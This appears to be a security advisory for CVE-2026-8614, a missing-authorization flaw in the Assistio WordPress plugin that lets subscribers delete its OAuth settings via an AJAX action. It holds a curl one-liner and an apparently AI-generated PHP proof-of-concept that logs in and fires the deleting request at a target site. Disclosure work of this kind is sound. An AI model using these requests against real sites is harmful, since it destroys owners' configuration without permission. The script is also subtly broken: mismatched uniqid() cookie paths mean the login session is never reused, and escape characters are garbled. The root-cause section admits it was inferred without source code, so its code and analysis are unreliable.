Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : June 24, 2026

CVE-2026-8614: Assistio <= 1.1.2 Missing Authorization to Authenticated (Subscriber+) Plugin Settings Deletion via assistio_plugin_delete_assistio_settings AJAX Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-8614

Plugin assistio

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 1.1.2

Patched Version —

Disclosed June 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8614 (metadata-based): This vulnerability affects the Assistio WordPress plugin version 1.1.2 and earlier. It is an authenticated authorization bypass that allows Subscriber-level users to delete critical plugin settings, including the OAuth settings for the Assistio bot service. The CVSS score is 4.3 (medium severity), reflecting the low integrity impact but requiring no elevated privileges beyond a subscriber account.

Root Cause: The vulnerability stems from the `assistio_plugin_delete_assistio_settings()` function, which handles an AJAX request. Based on the CWE-862 classification and the description, Atomic Edge research concludes that this function lacks both a capability check (e.g., `current_user_can(‘manage_options’)`) and a nonce verification (`wp_verify_nonce()`). The function is likely registered via `add_action(‘wp_ajax_assistio_plugin_delete_assistio_settings’, …)`. The absence of these standard security checks allows any authenticated user, including subscribers, to trigger the deletion of the plugin’s options array, specifically the `assistiobot_oauth_settings` option which stores API credentials for the Assistio bot service. Atomic Edge analysis infers these conclusions from the CWE mapping and the description; no source code was available for confirmation.

Exploitation: An attacker with a valid WordPress subscriber account crafts a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `assistio_plugin_delete_assistio_settings`. No additional parameters or nonces are required because the function lacks validation. The attacker does not need to manipulate any specific parameters; the AJAX action alone triggers the deletion. A simple curl command like `curl -X POST –cookie ‘valid-wordpress-cookie’ ‘http://target/wp-admin/admin-ajax.php’ -d ‘action=assistio_plugin_delete_assistio_settings’` suffices. The attacker must provide a valid session cookie or nonce for logged-in requests, which is normal for any authenticated AJAX call.

Remediation: The plugin developer must modify the `assistio_plugin_delete_assistio_settings()` function to include a capability check, such as `if (!current_user_can(‘manage_options’)) wp_die(-1);`, which restricts deletion to administrators only. Additionally, a nonce field must be generated and verified using `wp_create_nonce()` and `wp_verify_nonce()`. The AJAX handler should verify this nonce before executing the deletion. Without source code access, Atomic Edge research recommends checking for these two missing controls as the primary fix.

Impact: Successful exploitation permanently deletes the plugin’s options including the `assistiobot_oauth_settings` option. This disconnects the WordPress site from the Assistio bot service, rendering the plugin non-functional. The attacker does not gain any data access or privilege escalation, but the integrity of the plugin’s configuration is compromised. The site owner must reconfigure the plugin’s OAuth credentials or restore from a database backup to recover functionality.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8614 - Assistio <= 1.1.2 - Missing Authorization to Plugin Settings Deletion

// Configuration
$target_url = 'http://localhost/wordpress'; // Change this to the target WordPress URL
$username = 'subscriber_user'; // A valid WordPress subscriber account
$password = 'subscriber_password'; // The account's password

// Step 1: Login to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_' . uniqid() . '.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Trigger the vulnerable AJAX action to delete plugin settings
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'assistio_plugin_delete_assistio_settings'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_' . uniqid() . '.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
echo "If the response is empty or returns 1, the plugin settings were deleted successfully.n";
echo "Check the 'assistiobot_oauth_settings' option in the wp_options table to confirm.n";

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